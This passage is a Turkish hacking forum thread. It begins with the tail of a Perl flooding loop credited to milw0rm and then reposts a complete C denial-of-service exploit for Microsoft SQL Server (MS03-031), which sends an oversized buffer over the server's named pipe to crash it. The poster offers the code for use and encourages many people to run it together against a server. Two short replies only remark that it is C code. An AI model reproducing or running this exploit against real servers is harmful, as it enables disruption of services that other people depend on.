close($sock);

## Print a "." for every loop
syswrite STDOUT, ".";

## Increment X in One for every Loop
$x++;
}
}else{
## STF??? What Do You Type
die "Secenek engellendi - bir hata var\n";
}

# milw0rm.com [2005-06-22]

jackal
09-01-2005, 08:35 AM
Microsoft Sql Server Dos Atak Exploiti

Adından da anlaşıldığı gibi
SQL servere gereksiz sorgular göndererek yavaşlamasına sebep olabilir.
çok kişinin yapması daha iyi olur.

not: çalıştırmayı denemedim.
buyrun kod

////////////////////////////////////////////////////////////////
//
// Microsoft SQL Server DoS Remote Exploit (MS03-031)
// By refdom of xfocus
//
////////////////////////////////////////////////////////////////

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>


void Usage()
{
printf("******************************************\n");
printf("exp for Microsoft SQL Server DoS(MS03-031)\n\n");
printf("\t Written by Refdom\n");
printf("\t Email: refdom xfocus org\n");
printf("\t Homepage: www.xfocus.org\n\n");
printf("Usage: DOSMSSQL.exe server buffersize\n");
printf("eg: DOSMSSQL.exe192.168.0.1 9000\n\n");
printf("The buffersize depends on service pack level.\n");
printf("I test it on my server: windows 2000, mssqlserver no sp.\n");
printf("when buffersize is 9000, the server can be crashed.\n");
printf("\n");
printf("*******************************************\n\n");
}


int main(int argc, char* argv[])
{
char lpPipeName[50];
char *lpBuffer = NULL;
unsigned long ulSize = 0;

BOOL bResult;
DWORD dwWritten = 0, dwMode;
HANDLE hPipe;

Usage();

printf("Starting...\n");

if (argc != 3)
goto Exit0;

if (strlen(argv[1]) < 20)
{
sprintf(lpPipeName, "\\\\%s\\\\.\\pipe\\sql\\query", argv[1]);
}
else
{
printf("Error!server\n");
goto Exit0;
}

ulSize= atol(argv[2]);

lpBuffer = (char*)malloc(ulSize + 2);
if (NULL == lpBuffer)
{
printf("malloc error!\n");
goto Exit0;
}

memset(lpBuffer, 0, ulSize + 2);
memset(lpBuffer, 'A', ulSize);
*lpBuffer = '\x12';
*(lpBuffer + 1) = '\x01';
*(lpBuffer + 2) = '\x00';

printf("Connecting Server...\n");

hPipe = CreateFile(lpPipeName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
if (INVALID_HANDLE_VALUE == hPipe)
{
printf("Error!Connect server!%d\n", GetLastError());
goto Exit0;
}

dwMode = PIPE_READMODE_MESSAGE;
bResult = SetNamedPipeHandleState(
hPipe, // pipe handle
&dwMode, // new pipe mode
NULL, // don't set maximum bytes
NULL); // don't set maximum time
if (!bResult)
{
printf("Error!SetNamedPipeHandleState.%d\n", GetLastError());
goto Exit0;
}

bResult = WriteFile(hPipe, lpBuffer, ulSize + 1, &dwWritten, NULL);

if (!bResult)
{
printf("\n\tError!WriteFile.%d\n\n", GetLastError());
printf("When see the error message, the target may be crashed!!\n\n");
goto Exit0;
}

Exit0:

return 0;
}

nefretimle
08-11-2007, 06:19 PM
kardeş yazdığın komutlar C komutları

nefretimle
08-11-2007, 06:20 PM
kardeş yazdığın komutlar C komutları Komutlarlamı sql e sorgu gönderiyo